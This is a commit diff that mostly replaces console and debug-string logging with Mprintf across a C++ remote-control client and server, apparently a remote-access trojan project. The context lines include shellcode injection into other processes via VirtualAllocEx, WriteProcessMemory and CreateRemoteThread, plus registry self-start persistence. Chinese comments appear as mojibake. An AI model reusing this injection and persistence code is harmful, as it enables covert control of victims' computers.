Unify all log recording in the program

client/ClientDll.cpp

@@ -336,7 +336,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
 extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; }
 
 // <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
-extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; }
+extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; }
 
 // <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
 extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; }

client/IOCPClient.cpp

@@ -58,31 +58,31 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
 	// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
 	int enable = 1;
 	if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
-		std::cerr << "Failed to enable TCP keep-alive" << std::endl;
+		Mprintf("Failed to enable TCP keep-alive\n");
 		return FALSE;
 	}
 
 	// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
 	if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
-		std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl;
+		Mprintf("Failed to set TCP_KEEPIDLE\n");
 		return FALSE;
 	}
 
 	// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
 	int keepAliveInterval = 5;  // 5<><35>
 	if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
-		std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl;
+		Mprintf("Failed to set TCP_KEEPINTVL\n");
 		return FALSE;
 	}
 
 	// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
 	int keepAliveProbes = 5;
 	if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
-		std::cerr << "Failed to set TCP_KEEPCNT" << std::endl;
+		Mprintf("Failed to set TCP_KEEPCNT\n");
 		return FALSE;
 	}
 
-	std::cout << "TCP keep-alive settings applied successfully" << std::endl;
+	Mprintf("TCP keep-alive settings applied successfully\n");
 	return TRUE;
 }
 #endif
@@ -172,7 +172,7 @@ inline std::string GetIPAddress(const char *hostName)
 
 	int status = getaddrinfo(hostName, nullptr, &hints, &res);
 	if (status != 0) {
-		std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl;
+		Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
 		return "";
 	}
 
@@ -180,7 +180,7 @@ inline std::string GetIPAddress(const char *hostName)
 	char ip[INET_ADDRSTRLEN];
 	inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
 
-	std::cout << "IP Address: " << ip << std::endl;
+	Mprintf("IP Address: %s \n", ip);
 
 	freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
 	return ip;
@@ -225,20 +225,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
 	// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
 	// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
 	if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
-		std::cerr << "Invalid address or address not supported" << std::endl;
+		Mprintf("Invalid address or address not supported\n");
 		return false;
 	}
 
 	// <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
 	m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
 	if (m_sClientSocket == -1) {
-		std::cerr << "Failed to create socket" << std::endl;
+		Mprintf("Failed to create socket\n");
 		return false;
 	}
 
 	// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
-		std::cerr << "Connection failed" << std::endl;
+		Mprintf("Connection failed\n");
 		close(m_sClientSocket);
 		m_sClientSocket = -1;  // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
 		return false;
@@ -327,6 +327,8 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
 			}
 		}
 	}
+	CloseHandle(This->m_hWorkThread);
+	This->m_hWorkThread = NULL;
 	This->m_bWorkThread = S_STOP;
 	This->m_bIsRunning = FALSE;
 	delete[] szBuffer;
@@ -352,62 +354,51 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 			//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
 			if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
 			{
-				throw "Bad Buffer";
+				Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
+				m_CompressedBuffer.ClearBuffer();
+				break;
 			}
 
 			ULONG ulPackTotalLength = 0;
-			CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), 
+			CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));
-				sizeof(ULONG));
 
 			//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
 			ULONG len = m_CompressedBuffer.GetBufferLength();
 			if (ulPackTotalLength && len >= ulPackTotalLength)
 			{
-				m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
-
-				m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
-
 				ULONG ulOriginalLength = 0;
+
+				m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
+				m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
 				m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
 
-				//50  
 				ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
-				PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
+				const int bufSize = 512;
-				PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
+				BYTE buf1[bufSize], buf2[bufSize];
+				PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
+				PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
 
 				m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
 
-				size_t	iRet = uncompress(DeCompressedBuffer, 
+				size_t	iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
-					&ulOriginalLength, CompressedBuffer, ulCompressedLength);
 
 				if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
 				{
-					CBuffer m_DeCompressedBuffer;
-					m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
-						ulOriginalLength);
-
 					//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
 					//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>಻һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
 					if (m_DataProcess)
-						m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0),
+						m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
-							m_DeCompressedBuffer.GetBufferLength());
 				}
 				else{
 					Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
-					delete [] CompressedBuffer;
+					m_CompressedBuffer.ClearBuffer();
-					delete [] DeCompressedBuffer;
-					throw "Bad Buffer";
 				}
 
-				delete [] CompressedBuffer;
+				if (CompressedBuffer != buf1)delete [] CompressedBuffer;
-				delete [] DeCompressedBuffer;
+				if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
-#if _DEBUG
-				// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
-#endif
 			}
 			else {
-				Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
+				break; // received data is incomplete
-				break;
 			}
 		}
 	}catch(...) { 
@@ -436,13 +427,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
 #else
 		unsigned long	ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
 #endif
-		LPBYTE			CompressedBuffer = new BYTE[ulCompressedLength];
+		BYTE			buf[1024];
+		LPBYTE			CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
 
 		int	iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
 		if (Z_FAILED(iRet))
 		{
-			Mprintf("[ERROR] compress failed \n");
+			Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
-			delete [] CompressedBuffer;
+			if (CompressedBuffer != buf)  delete [] CompressedBuffer;
 			return FALSE;
 		}
 #if !USING_ZLIB
@@ -454,20 +446,15 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
 		m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
 
 		m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
-		//  5      4
+
-		//[Shine][ 30 ]
 		m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
-		//  5      4    4
+
-		//[Shine][ 30 ][5]
 		m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
 
-		delete [] CompressedBuffer;
+		if (CompressedBuffer != buf) delete [] CompressedBuffer;
-		CompressedBuffer = NULL;
 
 		// <20>ֿ鷢<D6BF><E9B7A2>
-		//shine[0035][0010][HelloWorld+12]
+		return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
-		return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), 
-			MAX_SEND_BUFFER);
 	}
 }
 
@@ -538,8 +525,8 @@ VOID IOCPClient::Disconnect()
 
 VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
 {
-	OutputDebugStringA("======> RunEventLoop begin\n");
+	Mprintf("======> RunEventLoop begin\n");
 	while (m_bIsRunning && bCondition)
 		Sleep(200);
-	OutputDebugStringA("======> RunEventLoop end\n");
+	Mprintf("======> RunEventLoop end\n");
 }

client/KernelManager.cpp

@@ -196,7 +196,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 			BYTE	bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
 			m_ClientObject->OnServerSending((char*)&bToken, 1);
 			g_bExit = S_CLIENT_EXIT;
-			OutputDebugStringA("======> Client exit \n");
+			Mprintf("======> Client exit \n");
 			break;
 		}
 
@@ -205,7 +205,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 			BYTE	bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>  
 			m_ClientObject->OnServerSending((char*)&bToken, 1);
 			g_bExit = S_SERVER_EXIT;
-			OutputDebugStringA("======> Server exit \n");
+			Mprintf("======> Server exit \n");
 			break;
 		}
 

client/MemoryModule.c

@@ -424,7 +424,7 @@ PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta)
 #endif
 
             default:
-                //printf("Unknown relocation: %d\n", type);
+                // Mprintf("Unknown relocation: %d\n", type);
                 break;
             }
         }
@@ -1180,7 +1180,7 @@ BOOL MemoryModuleTestsuite() {
         const uintptr_t* tests = AlignValueDownTests[idx];
         uintptr_t value = AlignValueDown(tests[0], tests[1]);
         if (value != tests[2]) {
-            printf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
+            Mprintf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
                 tests[0], tests[1], tests[2], value);
             success = FALSE;
         }
@@ -1189,13 +1189,13 @@ BOOL MemoryModuleTestsuite() {
         const uintptr_t* tests = AlignValueUpTests[idx];
         uintptr_t value = AlignValueUp(tests[0], tests[1]);
         if (value != tests[2]) {
-            printf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
+            Mprintf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n",
                 tests[0], tests[1], tests[2], value);
             success = FALSE;
         }
     }
     if (success) {
-        printf("OK\n");
+        Mprintf("OK\n");
     }
     return success;
 }

client/ShellcodeInj.h

@@ -89,7 +89,7 @@ private:
 			PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
 			FALSE, pid);
 		if (!hProcess) {
-			std::cout << "OpenProcess failed. PID: " << pid << std::endl;
+			Mprintf("OpenProcess failed. PID: %d\n", pid);
 			return nullptr;
 		}
 
@@ -97,14 +97,14 @@ private:
 		BOOL targetIs64Bit = FALSE;
 		BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
 		if (!success) {
-			std::cout << "Get architecture failed " << std::endl;
+			Mprintf("Get architecture failed \n");
 			CloseHandle(hProcess);
 			return nullptr;
 		}
 		const BOOL selfIs64Bit = sizeof(void*) == 8;
 		if (selfIs64Bit != targetIs64Bit) {
-			std::cout << "[Unable inject] Injector is " << (selfIs64Bit ? "64bit" : "32bit")
+			Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
-				<< ", Target process is " << (targetIs64Bit ? "64bit" : "32bit") << std::endl;
+				(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
 			CloseHandle(hProcess);
 			return nullptr;
 		}
@@ -139,20 +139,20 @@ private:
 		LPBYTE shellcode = NULL;
 		int len = 0;
 		if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
-			std::cout << "MakeShellcode failed " << std::endl;
+			Mprintf("MakeShellcode failed \n");
 			CloseHandle(hProcess);
 			return false;
 		}
 
 		LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 		if (!remoteBuffer) {
-			std::cout << "VirtualAllocEx failed " << std::endl;
+			Mprintf("VirtualAllocEx failed \n");
 			CloseHandle(hProcess);
 			return false;
 		}
 
 		if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
-			std::cout << "WriteProcessMemory failed " << std::endl;
+			Mprintf("WriteProcessMemory failed \n");
 			VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
 			CloseHandle(hProcess);
 			delete[] shellcode;
@@ -165,7 +165,7 @@ private:
 
 		HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
 		if (!hThread) {
-			std::cout << "CreateRemoteThread failed " << std::endl;
+			Mprintf("CreateRemoteThread failed \n");
 			VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
 			CloseHandle(hProcess);
 			return false;
@@ -173,7 +173,7 @@ private:
 
 		WaitForSingleObject(hThread, INFINITE);
 
-		std::cout << "Finish injecting to PID: " << pid << std::endl;
+		Mprintf("Finish injecting to PID: %d\n", pid);
 
 		VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
 		CloseHandle(hThread);

client/test.cpp

@@ -29,7 +29,11 @@ IsExit bExit = NULL;
 
 BOOL status = 0;
 
+#ifdef _DEBUG
+CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL };
+#else
 CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
+#endif
 
 //<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
 void DebugPrivilege()
@@ -266,7 +270,7 @@ int main(int argc, const char *argv[])
 {
 	if(!SetSelfStart(argv[0], REG_NAME))
 	{
-		std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
+		Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
 	}
 	status = 0;
 	SetConsoleCtrlHandler(&callback, TRUE);

server/2015Remote/2015RemoteDlg.cpp

@@ -371,7 +371,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
 	EnterCriticalSection(&m_cs);
 	if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
 		LeaveCriticalSection(&m_cs);
-		OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
+		Mprintf(CString("===> '") + strIP + CString("' already exist!!\n"));
 		return;
 	}
 	//Ĭ<><C4AC>Ϊ0<CEAA><30>  <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -641,11 +641,11 @@ void CMy2015RemoteDlg::OnClose()
 {
 	// <20><><EFBFBD>ش<EFBFBD><D8B4>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD>ǹر<C7B9>
 	ShowWindow(SW_HIDE);
-	OutputDebugStringA("======> Hide\n");
+	Mprintf("======> Hide\n");
 }
 
 void CMy2015RemoteDlg::Release(){
-	OutputDebugStringA("======> Release\n");
+	Mprintf("======> Release\n");
 	isClosed = TRUE;
 	ShowWindow(SW_HIDE);
 
@@ -1101,7 +1101,7 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
 	UINT ret = 0;
 	if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 )
 	{
-		OutputDebugStringA("======> StartServer Failed \n");
+		Mprintf("======> StartServer Failed \n");
 		char code[32];
 		sprintf_s(code, "%d", ret);
 		MessageBox("<EFBFBD><EFBFBD><EFBFBD>ú<EFBFBD><EFBFBD><EFBFBD>StartServerʧ<EFBFBD><EFBFBD>! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:"+CString(code));
@@ -1339,7 +1339,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 		{
 			char buf[100];
 			sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
-			OutputDebugStringA(buf);
+			Mprintf(buf);
 			return -1;
 		}
 
@@ -1368,7 +1368,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 		delete LoginInfor;
 		return S_OK;
 	}catch(...){
-		OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n");
+		Mprintf("[ERROR] OnUserToOnlineList catch an error \n");
 	}
 	return -1;
 }
@@ -1376,7 +1376,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 
 LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
 {
-	OutputDebugStringA("======> OnUserOfflineMsg\n");
+	Mprintf("======> OnUserOfflineMsg\n");
 	CString ip, port;
 	port.Format("%d", lParam);
 	EnterCriticalSection(&m_cs);

server/2015Remote/FileManagerDlg.cpp

@@ -947,18 +947,18 @@ void CFileManagerDlg::OnReceiveComplete()
 		}
 		catch (CMemoryException* e)
 		{
-			OutputDebugStringA("[ERROR] CMemoryException\n");
+			Mprintf("[ERROR] CMemoryException\n");
 		}
 		catch (CFileException* e)
 		{
-			OutputDebugStringA("[ERROR] CFileException\n");
+			Mprintf("[ERROR] CFileException\n");
 		}
 		catch (CException* e)
 		{
-			OutputDebugStringA("[ERROR] CException\n");
+			Mprintf("[ERROR] CException\n");
 		}
 		catch (...) {
-			OutputDebugStringA("[ERROR] Other exception\n");
+			Mprintf("[ERROR] Other exception\n");
 		}
 		break;
 	case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>

server/2015Remote/IOCPServer.cpp

@@ -329,7 +329,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
 
 DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 {
-	OutputDebugStringA("======> IOCPServer WorkThreadProc begin \n");
+	Mprintf("======> IOCPServer WorkThreadProc begin \n");
 
 	IOCPServer* This = (IOCPServer*)(lParam);
 
@@ -362,7 +362,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 			if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
 			{
 				ContextObject->olps = NULL;
-				OutputDebugStringA("!!! RemoveStaleContext \n");
+				Mprintf("!!! RemoveStaleContext \n");
 				This->RemoveStaleContext(ContextObject);
 			}
 			SAFE_DELETE(OverlappedPlus);
@@ -416,7 +416,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 					ContextObject = NULL;
 				}
 				catch (...) {
-					OutputDebugStringA("This->HandleIO catched an error!!!");
+					Mprintf("This->HandleIO catched an error!!!");
 				}
 			}
 		}
@@ -432,7 +432,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 	if (n == 0) {
 		Mprintf("======> IOCPServer All WorkThreadProc done\n");
 	}
-	OutputDebugStringA("======> IOCPServer WorkThreadProc end \n");
+	Mprintf("======> IOCPServer WorkThreadProc end \n");
 
 	return 0;
 }
@@ -454,7 +454,7 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
 		bRet = OnClientPostSending(ContextObject,dwTrans);
 		break;
 	case IOIdle:
-		OutputDebugStringA("=> HandleIO PacketFlags= IOIdle\n");
+		Mprintf("=> HandleIO PacketFlags= IOIdle\n");
 		break;
 	default:
 		break;
@@ -512,7 +512,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 					ContextObject->Decode(CompressedBuffer, ulOriginalLength);
 					m_NotifyProc(ContextObject);
 					SAFE_DELETE_ARRAY(CompressedBuffer);
-					break;
+					continue;
 				}
 				bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
 				PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];  //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
@@ -522,7 +522,6 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 				if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet))
 				{
 					ContextObject->InDeCompressedBuffer.ClearBuffer();
-					//ContextObject->InCompressedBuffer.ClearBuffer();
 					ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
 					ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
 					m_NotifyProc(ContextObject);  //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
@@ -544,7 +543,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 				delete [] CompressedBuffer;
 				delete [] DeCompressedBuffer;
 				if (zlibFailed) {
-					OutputDebugStringA("[ERROR] ZLIB uncompress failed \n");
+					Mprintf("[ERROR] ZLIB uncompress failed \n");
 					throw "Bad Buffer";
 				}
 			}else{
@@ -553,7 +552,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 		}
 	}catch(...)
 	{
-		OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n");
+		Mprintf("[ERROR] OnClientReceiving catch an error \n");
 		ContextObject->InCompressedBuffer.ClearBuffer();
 		ContextObject->InDeCompressedBuffer.ClearBuffer();
 	}
@@ -574,7 +573,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 		else {
 			memcpy(buf, szBuffer, ulOriginalLength);
 		}
-		OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n");
+		Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n");
 	}
 	try
 	{
@@ -582,7 +581,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 		{
 			if (ulOriginalLength <= 0) return;
 			if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
-				OutputDebugStringA("[ERROR] UNKNOWN compress method \n");
+				Mprintf("[ERROR] UNKNOWN compress method \n");
 				return;
 			}
 			else if (ContextObject->CompressMethod == COMPRESS_NONE) {
@@ -596,7 +595,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 			unsigned long	ulCompressedLength = usingZstd ? 
 				ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
 #endif
-			LPBYTE			CompressedBuffer = new BYTE[ulCompressedLength];
+			BYTE			buf[1024];
+			LPBYTE			CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
 			Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
 			ContextObject->Encode(szBuffer, ulOriginalLength);
 			size_t	iRet = usingZstd ?
@@ -605,15 +605,15 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 
 			if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet))
 			{
-				OutputDebugStringA("[ERROR] compress failed \n");
+				Mprintf("[ERROR] compress failed \n");
-				delete [] CompressedBuffer;
